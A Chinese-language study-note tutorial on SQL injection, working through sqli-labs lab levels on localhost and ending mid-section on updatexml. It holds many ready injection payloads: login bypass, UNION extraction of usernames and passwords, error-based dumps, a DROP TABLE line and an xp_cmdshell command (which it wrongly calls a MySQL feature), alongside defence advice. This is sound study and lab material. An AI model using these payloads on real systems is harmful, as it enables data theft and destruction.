SQL注入的基础,攻击流程与详细注入类型介绍

sql注入一般流程(附例题) 在与服务器数据库进行数据交互的地方拼接了恶意的sql代码,达到欺骗服务器执行恶意代码的目的。本质上是程序把用户输入的数据当成了sql语句执行。 阅读详情

前言

这一块内容还在不断补充当中,可以时不时刷来看看呀!!!

您的阅读就是对我学习进步的肯定!!!

感谢大佬

SQL注入

1. 什么是SQL注入

SQL注入是一种代码注入攻击,攻击者通过在输入框、URL参数等位置插入恶意SQL代码,欺骗数据库执行非授权操作(如查询、修改、删除数据甚至获取服务器权限)。

注入产生的原因是后台服务器在接收相关参数时未做好过滤直接带入到数据库中查询,导致可以拼接执行构造的SQL语句

SQL注入就是指WEB应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数代入数据库查询,攻击者可以通过构造不同的SQL语句来是实现对数据库的任意操作。

即通过把 SQL 命令插入到 Web 表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的 SQL 命令。

一般情况下,开发人员可以使用动态SQL语句创建通用、灵活的应用。动态SQL语句是在执行过程中构造的,他根据不同的条件产生不同的SQL语句。当开发人员在运行过程中需要根据不同的查询标准决定提取什么字段(如select语句),或者根据不同的条件选择不同的查询表时,动态的SQL语句会非常有用。

2. SQL注入的原理

当应用程序未对用户输入进行有效过滤时,攻击者输入的恶意SQL会被数据库当作合法指令执行。

SQL注入漏洞的产生需要满足以下两个条件。

(1)参数用户可控:前端传给后端的参数内容是用户可以控制的。
(2)参数代入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询,用户能控制输入且输入的内容被带到数据库去执行

例子

select * from users where id = 1

//这句话是正确的,合法的,可以查询用户 id=1 的记录
当传入的ID参数为1时,数据库执行的代码如下所示。
select * from users where id = 1'
这不符合数据库的语法规范,多了个单引号,所以会报错。

//不管什么语言,只要多了一个没闭合的单引号除非他被转义了,不然都会报错的

当传入的ID参数为and 1=1时,执行的SQL语句如下所示。
select * from users where id=1 and 1=1

数据库会返回与 id=1 相同的结果。攻击者通过这种方式验证应用程序是否会执行额外的逻辑。如果页面返回正常结果,说明应用程序可能没有对输入进行过滤。当传入的ID参数为and 1=2时,由于1=2不成立,所以返回假,页面就会返回与id=1不同的结果,说明输入确实影响了查询逻辑。
在实际环境中,凡是满足上述两个条件的参数皆可能存在SQL注入漏洞

3. 为什么会有SQL注入

  • 代码对带入SQL语句的参数过滤不严格
  • 未启用框架的安全配置,例如:PHP的magic_quotes_gpc
  • 未使用框架安全的查询方法
  • 测试借口未删除
  • 未启用防火墙,例如IPTABLES。
  • 未使用其他的安全防护设备,例如:WAF

4. SQL注入一般流程【攻击】

探测→利用→深度渗透

1. 漏洞探测:寻找注入点

攻击者通过输入测试字符判断应用是否存在SQL注入漏洞,常见方法包括:

  • 单引号测试:在输入框(如搜索框、URL参数)中输入',若页面报错(如数据库错误提示)或返回异常,说明输入未被过滤,可能存在注入点。
  • 布尔盲注测试:输入and 1=1(页面正常)和and 1=2(页面异常),通过返回差异验证输入是否影响SQL逻辑(如你之前提到的案例)。
  • 时间盲注测试:输入and sleep(5),若页面加载延迟5秒,说明数据库执行了恶意代码,存在注入点。
2. 漏洞利用:获取数据或权限

确认注入点后,攻击者通过构造恶意SQL实现不同目标:

  • 获取隐藏数据:通过OR 1=1或UNION SELECT读取敏感数据。例如:
SELECT * FROM products WHERE category='Gifts' OR 1=1--

利用OR 1=1返回所有商品(包括未发布的)。

  • 绕过登录验证:通过' OR '1'='1'--跳过密码检查。例如:
SELECT * FROM users WHERE username='admin' OR '1'='1'--' AND password='xxx'

直接登录管理员账户。

  • 读取数据库结构:通过UNION SELECT查询数据库版本、表名等信息。例如:
' UNION SELECT version(), database()--
3. 深度渗透:扩大攻击范围

若权限足够,攻击者可能进一步:

  • 篡改或删除数据:通过UPDATE或DROP语句破坏数据库。例如:
'; DROP TABLE users--
  • 执行系统命令:利用数据库存储过程(如MySQL的xp_cmdshell)控制服务器。例如:
'; EXEC xp_cmdshell 'whoami'--
  • 持久化控制:创建后门账户或植入恶意脚本,长期控制系统。
4. 攻击结束:清理痕迹

攻击者可能删除数据库日志或修改访问记录,掩盖攻击行为。

5. SQL注入的获取数据的简单流程【sqli-labs的题目】

5.1. 判断有无闭合 and 1=1 and 1=2

5.1.1. 目的

确定你的 SQL 语句是被什么符号“包围”的(比如单引号  ' 、双引号  " 、括号  ()  等),这一步是 SQL 注入的基础前提。

在 SQL 中,“闭合”通常指的是一些特定的逻辑或语法结构是否完整,例如括号是否匹配、事务是否正确提交、条件语句是否完整等。

5.1.2. 操作

执行两个 SQL 片段:

- 片段 1: and 1=1 

- 片段 2: and 1=2 

5.1.3. 原理

- 当执行  and 1=1  时,因为  1=1  是“永真条件”,如果结果和你原本的查询结果一样,说明 SQL 语句的闭合规则是符合预期的(没有因为语法错误中断)。

- 当执行  and 1=2  时,因为  1=2  是“永假条件”,如果结果为空,说明 SQL 语句的闭合规则是对的;反之如果结果没变化,就需要换其他方式测试闭合符。

结果和第一个一样说明需要闭合,反之无闭合 有闭合则需要用到 --+闭合

5.1.3.1. 没懂?详细

布尔盲注原理:通过and 1=1/and 1=2验证SQL注入漏洞

这种操作属于布尔盲注(Boolean-based Blind SQL Injection),核心是通过构造真假条件来判断应用是否存在SQL注入漏洞。

以下是逐句解释:

5.1.3.1.1. id=1 and 1=1:验证注入点是否存在

正常查询:select * from users where id=1 → 返回id=1的用户数据。

注入后查询:select * from users where id=1 and 1=1 → 由于1=1恒为真,整个条件等价于id=1,返回结果与正常查询一致。

攻击者意图:如果页面返回正常(显示id=1的内容),说明应用未过滤and等SQL关键字,输入的and 1=1被数据库当作合法逻辑执行,存在注入漏洞。

5.1.3.1.2. id=1 and 1=2:确认输入影响查询逻辑

正常查询:select * from users where id=1 → 返回id=1的用户数据。

注入后查询:select * from users where id=1 and 1=2 → 由于1=2恒为假,整个条件等价于false,返回结果为空或错误页面(与正常查询不同)。

攻击者意图:如果页面返回异常(如空白、报错),说明输入的and 1=2确实改变了查询结果,证明用户输入直接参与了SQL逻辑执行,漏洞存在。

5.1.3.1.3. 为什么这能验证漏洞?

核心逻辑:

SQL注入的本质是用户输入被当作SQL代码执行。如果应用对输入做了过滤(如转义and、=等字符),那么id=1 and 1=1会被当作普通字符串处理(如id='1 and 1=1'),查询结果会是空(因为没有id等于“1 and 1=1”的用户)。

对比结果:

若and 1=1返回正常 → 输入未过滤,漏洞存在。

若and 1=2返回异常 → 输入影响了SQL逻辑,漏洞存在。

总结:攻击者通过构造真假条件,观察页面返回差异,来判断应用是否存在SQL注入漏洞。这种方法无需获取具体数据,仅通过“是/否”的布尔结果就能验证漏洞,是盲注中最基础的技巧。。

5.1.4. 判断“有无闭合”的场景
5.1.4.1. 判断括号是否闭合

SQL 查询中经常使用括号来定义优先级(如 WHERE 子句中的条件)或组织复杂查询(如子查询)。

如果括号没有正确闭合,会导致语法错误。

左右括号数量必须相等,且左括号在前、右括号在后

SELECT * 
FROM employees 
WHERE (department_id = 3 AND salary > 5000;

//问题:
左括号 ( 没有对应的右括号 )。
//解决方法:
确保每个左括号都有对应的右括号。
//工具辅助:
使用 SQL 编辑器(如 MySQL Workbench、DBeaver 等),
它们通常会高亮显示匹配的括号,帮助发现未闭合的括号。
5.1.4.2. 判断事务是否闭合

事务(Transaction)是数据库操作的一个重要概念。

如果事务没有正确提交(COMMIT)或回滚(ROLLBACK),可能会导致数据不一致或锁表问题。

START TRANSACTION;

-- 执行一系列操作
UPDATE accounts SET balance = balance - 100 WHERE id = 1;
UPDATE accounts SET balance = balance + 100 WHERE id = 2;

-- 提交事务
COMMIT;
  • MySQL:
-- 查看所有未提交的事务(包含事务ID、状态、执行时间等)
SELECT * FROM INFORMATION_SCHEMA.INNODB_TRX;
    • 若结果为空 → 无未闭合事务;
    • 若结果不为空 → 存在未提交/回滚的事务(需手动COMMIT或ROLLBACK)。
5.1.4.3. 判断条件语句是否闭合
  • 关键字配对:
    • CASE WHEN必须有END(如CASE WHEN id>10 THEN '大' ELSE '小' END);
    • IN后的括号需闭合(如id IN (1,2,3),而非id IN (1,2,3);
    • BETWEEN需与AND配对(如age BETWEEN 18 AND 30,而非age BETWEEN 18)。
  • 符号闭合:
    • 字符串需用单引号/双引号闭合(如name='张三',而非name='张三);
    • 括号需成对(如WHERE (id>10 AND name='a'),而非WHERE (id>10 AND name='a')。

SQL 中的条件语句(如 CASE、IF)需要正确的闭合,否则会导致语法错误。

SELECT employee_id,
       CASE 
           WHEN department_id = 1 THEN 'HR'
           WHEN department_id = 2 THEN 'Finance'
       END AS department_name
FROM employees;

//确保每个 CASE 语句都以 END 结束。
5.1.4.4. 判断字符串是否闭合

断字符串是否闭合,核心是检查起止引号是否一致且成对

SQL 查询中使用的字符串需要用引号(单引号 ' 或双引号 ")包裹。如果引号没有正确闭合,会导致语法错误。

若字符串未闭合,SQL执行时会返回语法错误:

  • MySQL报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near...;
SELECT * 
FROM employees 
WHERE name = 'Alice';
5.1.4.5. 判断注释是否闭合

SQL 支持两种注释风格:

  1. 单行注释:-- 注释内容
  2. 多行注释:/* 注释内容 */

如果多行注释未正确闭合,可能会导致后续代码被忽略。

SELECT * 
FROM employees 
/* WHERE department_id = 1 */
5.1.4.6. 总结

判断 SQL 是否“闭合”可以从以下几个方面入手:

  1. 括号闭合:
    • 确保每个左括号 ( 都有对应的右括号 )。
  1. 事务闭合:
    • 确保每个事务以 COMMIT 或 ROLLBACK 结束。
  1. 条件语句闭合:
    • 确保 CASE、IF 等语句以正确的关键字(如 END)结束。
  1. 字符串闭合:
    • 确保每个字符串都以匹配的引号结束。
  1. 注释闭合:
    • 确保多行注释以 */ 结束。

5.2. 猜解字段 order by 10

探测目标表的字段数量

-  order by n  用于对第 n 个字段排序,若 n 超过表的实际字段数,会报错;

- 用二分法(如先试 order by 10 ,再根据是否报错调整数值)可快速确定表的字段总数。

5.3. 判断数据回显位置 -1 union select 1,2,3,4,5....

//-1  是为了让前半段查询结果为空,确保只显示  union select  后的结果;

- 依次构造  select 1,2,3... ,观察页面上显示的数字位置,这些位置就是可利用的回显字段。参数等号后面加-表示不显示当前数据

确定哪些字段会在页面上显示

5.4. 获取当前数据库名、用户、版本 ,获取全部数据库名

收集数据库的基础信息

eg. union select database(), user(), version(),... 

union select group_concat(schema_name) from information_schema.schemata,... 

5、获取表名

定位目标数据库中的表结构。

select group_concat(table_name) from information_schema.tables where table_schema= '库名'

6、获取字段名

明确目标表的列信息

select group_concat(column_name) from information_schema.columns where table_schema= '库名' and table_name='表名'

7、获取数据 union select 1,2,(select group_concat(字段1,字段2)from 库名.表名

最终提取目标数据

通过  group_concat  把字段内容拼接成字符串,在回显位上显示,从而获取表中的具体数据(如用户账号、密码等敏感信息)。

6. 注入的类型

目前应该就学了这些,,可能后面会补充。

本人利用的是sqli-labs的靶场,可以去Github上面找源代码到小皮上面,即可

6.1. 数值型注入

6.1.1. 核心定义:什么是数值型注入?

数值型注入是SQL注入的一种常见类型,发生在参数为数值类型(如整数、浮点数)的场景中。

其核心特征是:

  • 后台SQL语句中,参数直接作为数值使用,无需单引号/双引号包裹(区别于字符型注入)。
  • 攻击者通过构造特殊数值,修改原有SQL的逻辑,实现未授权的数据查询或操作。
  • 前台页面输入的参数是「数字」。
    • 写入and1=1 与and1=2回显不相同说明后面的and1=1和and1=2对网页造成了影响,判断为数值型
6.1.2. 关键特征与判断方法
6.1.2.1. 典型场景

常见于按ID查询的功能(如文章详情、用户信息),后台SQL格式通常为:

SELECT * FROM users WHERE id = [用户输入]  -- 例如:id=1
6.1.2.2. 判断方法(实战步骤)

通过构造恒真/恒假条件,观察页面响应差异,即可判断是否存在数值型注入:

  • 步骤1:恒真条件测试
    输入 id=1 AND 1=1,若页面正常显示(与原请求id=1一致),说明注入的条件被数据库执行,且结果为真。
    此时SQL变为:
SELECT * FROM users WHERE id = 1 AND 1=1  -- 条件永远成立,返回所有id=1的结果
  • 步骤2:恒假条件测试
    输入 id=1 AND 1=2,若页面异常显示(空白、报错或无数据),说明注入的条件被执行为假,存在注入点。
    此时SQL变为:
SELECT * FROM users WHERE id = 1 AND 1=2  -- 条件永远不成立,无结果返回
  • 步骤3:单引号测试(辅助验证)
    输入 id=1',若页面报错(如SQL syntax error),进一步确认是数值型注入(因为数值型参数无需单引号,多余的单引号导致语法错误)。
6.1.2.3. 实战案例:从判断到数据获取

以SQLi-Labs靶场Less-2(数值型注入经典场景)为例:

6.1.2.3.1. 环境准备
  • 靶场URL:http://localhost/sqli-labs/Less-2/?id=1
  • 后台SQL:SELECT * FROM users WHERE id = $_GET['id']
6.1.2.3.2. 注入过程
  • 判断注入点:
    输入 id=1 AND 1=1 → 页面正常显示(与id=1一致);
    输入 id=1 AND 1=2 → 页面空白(无数据),确认存在数值型注入。
  • 获取数据库信息:
    构造注入语句,查询数据库名:
id=1 UNION SELECT 1, database(), 3  -- 假设users表有3个字段

此时SQL变为:

SELECT * FROM users WHERE id = 1 UNION SELECT 1, database(), 3

页面会返回当前数据库名(如security)。

  • 获取表名:
    进一步查询数据库中的表:
id=1 UNION SELECT 1, group_concat(table_name), 3 FROM information_schema.tables WHERE table_schema=database()

结果会返回所有表名(如users、emails等)。

6.1.2.4. 防御建议
  • 参数类型校验:对数值型参数强制转换为整数(如PHP中用intval());
  • 使用预编译语句:如PDO或MyBatis的参数绑定,避免直接拼接SQL;
  • 最小权限原则:数据库用户仅授予必要权限(如禁止FILE、ALTER等高危操作)。
6.1.2.5. 一句话总结

数值型注入是利用数值型参数无引号包裹的特性,通过构造逻辑条件修改SQL语句,

核心判断方法是1 AND 1=1(正常)+ 1 AND 1=2(异常),实战中可结合联合查询获取敏感数据。 🛡️

6.1.3. 简单条件注入
  • 攻击方式:
    • 在数值参数后添加逻辑运算符(如 OR、AND)和恒真/恒假条件。
  • 示例:

正常的 SQL 查询

假设一个应用程序根据用户输入的 id 查询员工信息:

SELECT * FROM employees WHERE id = 1;

如果用户输入 1,查询会返回 id=1 的员工信息。

注入后的 SQL 查询

如果攻击者输入恶意的数值(如 1 OR 1=1),查询可能变成:

SELECT * FROM employees WHERE id = 1 OR 1=1;
  • 解释:
    • 条件 1=1 始终为真,导致查询返回所有员工的信息。
    • 这种注入可以用于数据泄露或权限绕过。

【用or 只要满足其一即可,又1=1永远成立,所以id=1这一条件会被忽略】

6.1.4. 联合查询注入
  • 攻击方式:
    • 使用 UNION 将恶意查询结果与原始查询结果合并。
  • 示例:
    • 用户输入:1 UNION SELECT username, password FROM users
    • 拼接后的 SQL:
SELECT * FROM employees WHERE id = 1 
UNION 
SELECT username, password FROM users;
    • 效果:
      • 返回员工信息的同时,还泄露了用户的用户名和密码。
6.1.5. 子查询注入
  • 攻击方式:
    • 在数值参数中嵌套子查询,获取敏感信息。
  • 示例:
    • 用户输入:1 AND (SELECT COUNT(*) FROM users) > 0
    • 拼接后的 SQL:
SELECT * FROM employees WHERE id = 1 AND (SELECT COUNT(*) FROM users) > 0;

-- 查询employees表中id=1的员工数据,但仅当users表中存在至少1条记录时才返回结果。
    • 效果:
      • 验证 users 表是否存在,并尝试获取更多信息。
6.1.6. 总结
  • 数值型注入的特点:
    • 参数为数值型,无需引号包裹。
    • 攻击者通过逻辑运算符、联合查询、子查询等方式篡改查询逻辑。
  • 防御措施:
    • 使用参数化查询(避免直接拼接用户输入)。
    • 验证用户输入。
    • 最小化数据库权限。
    • 监控和记录异常行为

6.2. 字符型注入

6.2.1. 核心定义:什么是字符型注入?

字符型注入是SQL注入的典型类型,发生在参数为字符串类型的场景中。其核心特征是:

  • 后台SQL语句中,参数被单引号(')或双引号(")包裹(区别于数值型注入的无引号)。
  • 攻击者通过构造包含特殊字符的字符串,闭合原有引号并注入恶意SQL逻辑,实现未授权操作。
6.2.2. 关键特征与判断方法
6.2.2.1. 典型场景

常见于用户名、搜索关键词等字符型参数,后台SQL格式通常为:

SELECT * FROM users WHERE username = '[用户输入]'  -- 例如:username='admin'
6.2.2.2. 判断方法(实战步骤)

通过构造单引号闭合逻辑,观察页面响应差异,即可判断是否存在字符型注入:

  • 步骤1:单引号测试(核心)
    输入 username=admin'(在原参数后加单引号),
  • 若页面报错(如Unclosed quotation mark),说明参数被引号包裹(字符型注入特征)。
  • 【注意,一个是语法错误,一个是引号未闭合,错误提示不同】
    此时SQL变为:
SELECT * FROM users WHERE username = 'admin''  -- 引号未闭合,语法错误
  • 步骤2:逻辑条件测试(验证注入点)
    构造闭合+恒真条件:输入 username=admin' AND '1'='1 --+(--+用于注释后续内容),若页面正常显示(与原请求一致),说明注入成功。
    此时SQL变为:
SELECT * FROM users WHERE username = 'admin' AND '1'='1 --+'  -- 条件恒真,返回所有用户
  • 步骤3:对比恒假条件
    输入 username=admin' AND '1'='2 --+,若页面异常显示(空白或报错),进一步确认存在字符型注入。
6.2.2.3. 实战案例:从判断到数据获取

以SQLi-Labs靶场Less-1(字符型注入经典场景)为例:

6.2.2.3.1. 环境准备
  • 靶场URL:http://localhost/sqli-labs/Less-1/?id=1
  • 后台SQL:SELECT * FROM users WHERE id = '[用户输入]'
6.2.2.3.2. 注入过程
  • 判断注入点:
    输入 id=1' → 页面报错(You have an error in your SQL syntax),确认参数被单引号包裹。
    输入 id=1' AND '1'='1 --+ → 页面正常显示(与id=1一致),注入点存在。
  • 获取数据库信息:
    构造联合查询,获取数据库名:
id=-1' UNION SELECT 1, database(), 3 --+  -- 用-1让原查询无结果,显示联合查询内容

此时SQL变为:

SELECT * FROM users WHERE id = '-1' UNION SELECT 1, database(), 3 --+'

页面返回当前数据库名(如security)。

  • 获取表名:
    进一步查询数据库中的表:
id=-1' UNION SELECT 1, group_concat(table_name), 3 FROM information_schema.tables WHERE table_schema=database() --+

结果返回所有表名(如users、emails)。

6.2.2.4. 防御建议
  • 参数过滤:对输入的单引号、双引号等特殊字符进行转义(如PHP中用addslashes());
  • 预编译语句:使用PDO或MyBatis的参数绑定,避免直接拼接SQL;
  • 类型校验:对字符型参数限制长度和格式(如用户名仅允许字母数字)。
6.2.2.5. 一句话总结

字符型注入是利用参数被引号包裹的特性,通过构造闭合逻辑注入恶意SQL,核心判断方法是单引号测试+逻辑条件验证,实战中可结合联合查询获取敏感数据。 🛡️

    • 前台页面输入的参数是「字符串」。
    • 字符可以使用单引号包裹,也可以使用双引号包裹。
    • 根据包裹字符串的「引号」不同,字符型注入可以分为:
      • 单引号字符型注入
      • 双引号字符型注入
      • 带有括号的注入
        • SQL的语法,支持使用一个或多个「括号」包裹参数,使得这两个基础的注入类型存在一些变种。
          • a. 数值型+括号的注入:使用括号包裹数值型参数
          • b. 单引号字符串+括号的注入:使用括号和单引号包裹参数
          • c. 双引号字符串+括号的注入使用括号和双引号包裹参数
    • 不可直接拼接用户输入到SQL查询中,可能导致逻辑被篡改。
示例:
select \* from user where id = (1);
//这是查询 user 表中id等于1的所有记录。
这里的 (1) 是单值子查询的写法(虽然这里直接写1也可以),最终效果和 id = 1 一致。


select \* from user where id = ((1));
//和第一个语句效果完全相同,只是多套了一层括号,SQL会自动解析括号内的内容,
最终还是查询 id=1 的记录。


select \* from user where username = ('zhangsan');
//查询 user 表中**username等于'zhangsan'**的所有记录。 
这里 'zhangsan' 是字符串常量,单引号是SQL中表示字符串的标准方式。


select \* from user where username = (('zhangsan'));
//和第三个语句效果一致,多套了括号不影响结果,依然是查询username='zhangsan' 的记录。


select \* from user where username = ("zhangsan");
//多套了括号不影响结果,依然是查询username="zhangsan" 的记录
6.2.3. 简单条件注入
  • 攻击方式:
    • 在字符串参数后添加逻辑运算符(如 OR、AND)和恒真/恒假条件。
  • 示例:
  • 假设一个应用程序根据用户输入的 name 查询员工信息:
SELECT * FROM employees WHERE name = 'Alice';

如果用户输入 Alice,查询会返回 name='Alice' 的员工信息。

    • 用户输入:Alice' OR '1'='1
    • 拼接后的 SQL:
SELECT * FROM employees WHERE name = 'Alice' OR '1'='1';
    • 效果:
      • 返回所有员工的信息。【原理同数值型,只不过注意'的有无】
6.2.4. 联合查询注入
  • 攻击方式:
    • 使用 UNION 将恶意查询结果与原始查询结果合并。
  • 示例:
    • 用户输入:

Alice' UNION SELECT username, password FROM users --

    • 拼接后的 SQL:
SELECT * FROM employees WHERE name = 'Alice' 
UNION 
SELECT username, password FROM users -- ';
    • 效果:
      • 返回员工信息的同时,还泄露了用户的用户名和密码。

【利用-- 来将结尾的'注释掉,以保证引号闭合】

6.2.5. 子查询注入
  • 攻击方式:
    • 在字符串参数中嵌套子查询,获取敏感信息。
  • 示例:
    • 用户输入:Alice' AND (SELECT COUNT(*) FROM users) > 0 --
    • 拼接后的 SQL:
SELECT * FROM employees WHERE name = 'Alice' AND (SELECT COUNT(*) FROM users) > 0 -- ';
    • 效果:
      • 验证 users 表是否存在,并尝试获取更多信息。
6.2.6. 总结
  • 字符型注入的特点:
    • 参数为字符串类型,需要处理引号包裹。
    • 攻击者通过闭合引号或逃逸引号篡改查询逻辑。
  • 防御措施:
    • 使用参数化查询。
    • 转义特殊字符。
    • 验证用户输入。
    • 最小化数据库权限。
    • 监控和记录异常行为。
6.2.7. (补充)如何快速判断字符型与数字型注入?
6.2.7.1. 核心区别:参数是否被引号包裹
  • 数字型注入:参数直接作为数值使用,无单/双引号包裹(如 id=1)。
  • 字符型注入:参数被视为字符串,必须用单/双引号包裹(如 username='admin')。
6.2.7.2. 数字型注入判断方法

通过逻辑条件测试和四则运算验证,观察页面响应差异:

  1. 逻辑条件测试(最直接)
    • 输入 id=1 AND 1=1 → 页面正常显示(与原请求一致),说明注入条件被执行且为真。
    • 输入 id=1 AND 1=2 → 页面异常显示(空白、报错或无数据),说明注入条件被执行为假,存在数字型注入。
  1. 四则运算验证(辅助)
    输入 id=(1+1)-1 → 若结果与 id=1 一致,说明参数被当作数值处理(数字型特征)。
6.2.7.3. 字符型注入判断方法

通过单引号闭合测试和逻辑条件验证,观察页面报错或响应变化:

  1. 单引号测试(核心)
    输入 username=admin' → 若页面报错(如 Unclosed quotation mark),说明参数被引号包裹(字符型特征)。
  2. 逻辑条件验证
    • 输入 username=admin' AND '1'='1 --+ → 页面正常显示(与原请求一致),说明单引号成功闭合,注入条件为真。
    • 输入 username=admin' AND '1'='2 --+ → 页面异常显示,说明注入条件为假,存在字符型注入。
6.2.7.4. 一句话总结
  • 数字型:无引号,用 AND 1=1/AND 1=2 测试响应差异。
  • 字符型:有引号,用单引号闭合+逻辑条件验证。
    通过这两种方法,可快速区分注入类型,为后续渗透测试奠定基础 🛡️。
6.2.7.5. (以题目为例)【数字型还是字符型】
6.2.7.5.1. 第一关
  • You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
  1. syntax 语法

在计算机科学中,syntax 特指编程语言或查询语言(如 SQL)的语法规则。如果违反了这些规则,就会导致类似 syntax error(语法错误)的问题。

  1. manual 手册
  • "Check the MySQL manual for the correct syntax."
    (查阅 MySQL 手册以获取正确的语法。)

 ''1'' LIMIT 0,1' 

1'为注入内容
由颜色看出引号分别是谁的引号
所以呀,,,,上面那内容是字符型注入
6.2.7.5.2. 第二关
  • You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

!!!没回回显出输入内容说明是数字型

6.2.7.5.3. 无错误回显类型判断(通过注入算式判断)

第一关说明后台将2-1作为字符串来处理,才会使前后

第二关前后显示的内容不变,说明是经过后台计算后,再进行处理,说明是数字型

6.3. 报错注入

这位大佬的是笔记和题目结合,很详细,也可以看看他的

6.3.1. 核心定义:什么是报错注入?

报错注入(Error-Based SQL Injection)是SQL注入的一种关键手法,【页面响应形式】

核心逻辑是:

  • 攻击者通过构造恶意SQL语句,故意触发数据库执行错误。
  • 若应用未屏蔽错误信息,数据库会将敏感数据(库名、表名、字段值) 包含在错误提示中回显到页面,攻击者可直接从报错信息中提取数据。

简单来说:让数据库“报错”,并把你想要的数据“吐”出来 🚨。

6.3.2. 核心原理:为什么报错能泄露数据?

报错注入的本质是利用数据库的错误回显机制:

  1. 错误触发:通过特殊函数(如updatexml())构造非法SQL,迫使数据库执行时抛出错误。
  2. 数据拼接:将需要查询的敏感数据(如database())嵌入错误函数的参数中,数据库报错时会将该数据作为错误信息的一部分返回。
  3. 信息提取:攻击者从前端显示的错误提示中,直接读取敏感数据(无需盲注猜解)。
6.3.3. 实战步骤:从判断到数据获取

以MySQL数据库为例,通过updatexml()函数演示报错注入流程:

6.3.3.1. 判断是否存在报错注入
  • 核心测试:输入单引号(')或构造错误语句,观察页面是否返回详细数据库错误(如You have an error in your SQL syntax)。
    示例:若原请求为?id=1,输入?id=1',若页面报错,说明存在注入可能。
6.3.3.2. 构造报错语句(以updatexml()为例)

updatexml()函数用于修改XML文档,第二个参数需为合法的XPath路径。若传入非法内容(如拼接的敏感数据),数据库会报错并返回非法内容。

  • 爆数据库名:
    构造Payload:
?id=1 AND updatexml(1, concat(0x7e, database(), 0x7e), 1)

解释:

    • 0x7e是ASCII码的~,用于分隔错误信息和敏感数据。
    • database()返回当前数据库名(如security)。
    • 执行后,页面报错信息会包含~security~,直接泄露数据库名。
  • 爆表名:
    构造Payload:
?id=1 AND updatexml(1, concat(0x7e, (SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()), 0x7e), 1)

解释:通过子查询SELECT group_concat(table_name)...获取当前数据库的所有表名(如users、emails),并嵌入报错信息。

6.3.4. 常见报错函数(MySQL)

函数名

作用

示例Payload

updatexml()

修改XML文档,非法XPath触发报错

updatexml(1, concat(0x7e, version()), 1)

extractvalue()

提取XML节点值,非法XPath触发报错

extractvalue(1, concat(0x7e, user()))

floor()

结合rand()

和group by

触发主键重复错误(适用于低版本MySQL)

(SELECT 1 FROM (SELECT count(*),concat(

version(),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)

1. extractvalue:

extractvalue函数用于从XML文档中提取特定的值。它接受两个参数,

第一个参数是要提取值的XML文档,

第二个参数是XPath表达式,用于指定要提取的值的位置。

该函数将返回符合XPath表达式的节点的值。

2. updatexml:

updatexml函数用于更新XML文档中特定节点的值。它接受三个参数,

第一个参数是要更新的XML文档【存储和传输数据】,

第二个参数是XPath表达式,用于指定要更新的节点的位置,

第三个参数是新的节点值。

该函数将返回更新后的XML文档。

3. floor:

floor函数用于向下取整,将一个数值向下取整为最接近的整数。它接受一个参数,

即要进行取整操作的数值,返回最接近的小于或等于该数值的整数。例如,floor(3.8)将返回3,floor(4.2)将返回

6.3.4.1. extractvalue报错注入
6.3.4.1.1. 基础定义:extractvalue()是什么?

extractvalue()是MySQL数据库中用于解析XML数据的内置函数,

核心作用是从XML字符串中提取指定路径的节点值。用于从XML字符串中提取特地路径下的内容。

它的设计初衷是处理XML格式的数据,但因对输入的校验不严格,常被用于SQL注入攻击。

6.3.4.1.2. 语法与参数解析
EXTRACTVALUE(xml_frag, xpath_expr)
  • xml_frag:
    表示要解析的XML字符串(可以是XML文档或片段),例如<a><b>hello</b></a>。
  • xpath_expr:
    用于定位XML节点的XPath表达式(如/a/b表示提取<a>节点下的<b>节点值)。
extractvalue(xml_document,xpath_string)

第一个参数:XML_document是 String 格式,为XMIL文档对象的名称。

第二个参数:XPath_string (Xpath格式的字符串)。

//作用: 从目标XML中返回包含所查询值的字符串。

ps: 返回结果限制在32位字符。


extractvalue(456,concat(0x7e,version(),0x7e))
6.3.4.1.3. 正常使用示例

假设存在XML字符串<book><title>MySQL教程</title></book>,提取书名的SQL语句为:

SELECT EXTRACTVALUE('<book><title>MySQL教程</title></book>', '//title');

即提取某节点的title节点值

执行结果:返回MySQL教程(匹配到的节点文本值)。

若XPath表达式匹配多个节点(如<a><b>x</b><b>y</b></a>),结果会用空格分隔:

SELECT EXTRACTVALUE('<a><b>x</b><b>y</b></a>', '/a/b');

即提取a节点的b节点

执行结果:x y。

想要查询书名

select extractvalue(doc,'/book/title') from xml;
6.3.4.1.4. 安全风险:如何被用于SQL注入?

extractvalue()的致命漏洞在于:

若xpath_expr参数不符合XPath语法规范,数据库会抛出错误,并将非法参数内容作为错误信息返回。攻击者利用这一特性,构造恶意Payload,将敏感数据(如库名、表名)嵌入错误信息中泄露。

6.3.4.1.5. 如何报错

6.3.4.1.6. 实战Payload示例
  • 爆数据库名:
?id=1 AND extractvalue(1, concat(0x7e, database(), 0x7e))

第一个参数1
是无效占位符(攻击者不需要真正解析XML,仅为满足函数参数格式)。

第二个参数concat(0x7e, database(), 0x7e)
是构造的非法XPath表达式:
若表达式不符合XPath语法,数据库会报错并返回该表达式内容(这是漏洞关键)。

concat()是字符串拼接函数,将多个字符串合并为一个。

解释:

    • 0x7e是ASCII码的~,用于分隔错误信息和敏感数据。
    • database()返回当前数据库名(如security)。
    • 执行后,错误信息会包含~security~,直接泄露数据库名。
  • 爆表名:
?id=1 AND extractvalue(1, concat(0x7e, (SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()), 0x7e))

解释:通过子查询获取当前数据库的所有表名,并嵌入错误信息。

6.3.4.1.7. 防御建议
  1. 关闭错误回显:在生产环境中,禁用数据库错误信息直接输出到前端(如PHP中设置display_errors=Off)。
  2. 使用预编译语句:通过PreparedStatement或ORM框架(如MyBatis)绑定参数,避免SQL拼接。
  3. 输入过滤:对用户输入的特殊字符(如单引号、括号)进行转义或过滤。
  4. 最小权限原则:数据库账号仅授予必要权限(如禁止SELECT敏感系统表information_schema)。
6.3.4.1.8. 可以看一下level5这个题目
6.3.4.2. updatexml报错注入
6.3.4.2.1. 基础定义:updatexml()是什么?

updatexml()是MySQL的XML文档更新函数,用于修改XML片段中指定节点的内容。

